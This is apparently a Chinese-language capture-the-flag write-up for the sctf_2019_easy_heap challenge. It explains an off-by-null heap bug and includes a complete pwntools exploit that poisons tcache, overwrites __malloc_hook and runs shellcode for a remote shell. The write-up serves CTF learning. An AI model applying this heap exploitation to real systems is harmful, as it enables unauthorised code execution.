這個題目當時比賽的時候靶機據說是ubuntu16.04,但是遷移到buu上就變成了ubuntu18.04,下面針對兩個平台給出不同的解法,先寫一下18.04下的
先來逆一下,關鍵點有一下幾個
mmap了一個可讀可寫可執行的內存空間,可以往里面寫入shellcode,而且給了我們地址
edit函數里面有off-by-null漏洞
ubuntu18.04
我本來想直接爆破_IO_2_1_stdout_的,但是考慮到18.04下malloc的時候不會檢查size,所以程序不會crash掉,當然理論也可以爆破(當p.recvuntil接受不到數據時程序會crash),但是沒有去嘗試,過幾天試一下
現在考慮寫入shellcode,然后攻擊__malloc_hook
先說一下程序模板
**step 1: allocate mmap to read in shellcode**
add(0x410) add(0x68) add(0x4f0) add(0x68)
free(0x410)
edit(0x68 -> off-by-null)
free(0x4f0)
add(0x410)
add(0x68) # index 2: the same as index 1
free(0x68) # index 3
free(0x68) # idx 1(free) == idx 2(allocate)
free(0x68) # idx 1(free) == idx 2(free)
add(0x68) # index 1(allocate) == 2(free)
add(0x68) # index 2(allocate) == 1(allocate)
add(0x68) # mmap
**step 2: attack __malloc_hook**
add(0x4f0)
free(0x410)
edit(0x68 -> off-by-null)
free(0x68) # index 1(free) == 2(allocate)
free(0x4f0) #注意,這個地方必須先free 0x68,否則此后將無法通過free的檢查
edit(2,'\x30')
add(0x68) add(0x68)
edit(0x68) to getshell
核心,利用off-by-null構造兩個指向同一塊chunk的指針
exp:
from pwn import *
'''
author: lemon
time: 2020-10-19
libc: libc-2.27.so
python version: python3
'''
local = 0
binary = "sctf_2019_easy_heap"
libc_path = './libc-2.27.so'
port = "27263"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')
def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size))
def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index:',str(index))
p.sendafter('Content:',content)
def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index:',str(index))
p.recvuntil('0x')
mmap = int(p.recv(10),16)
print("[*] mmap:" + hex(mmap))
add(0x410) #0
p.recvuntil('0x')
heap_addr = int(p.recv(12),16)
print("[*] heap array:",hex(heap_addr))
add(0x68) # 1
add(0x4f0) # 2
add(0x68) # 3
payload = b'A' * 0x60 + p64(0x490)
free(0) # free 0x410
edit(1,payload)
free(2)
add(0x410) # 0 size: 0x410
add(0x68) # 2 size: 0x68 2(allocate) == 1(allocate)
free(3)
free(1)
free(2)
add(0x68) # 1 2(free) == 1(allocate)
edit(1,p64(mmap) + b'\n')
add(0x68) # 2 2(allocate) == 1(allocate)
add(0x68) # 3
shellcode = asm(shellcraft.sh())
edit(3,shellcode + b'\n')
add(0x4f0) # 4
free(0)
edit(1,payload) # 2(allocate) == 1(allocate)
free(1) # 1(free) == 2(allocate)
free(4)
add(0x410) # 0
edit(2,'\x30\n')
add(0x68) # 1(allocate) == 2(allocate)
add(0x68) # 4 __malloc_hook
edit(4,p64(mmap) + b'\n')
add(0x20) # getshell
# gdb.attach(p)
p.interactive()
過幾天再更一下ubuntu16.04下的版本,相對於18.04,16.04利用更簡單一些,甚至可以直接爆破_IO_2_1_stdout_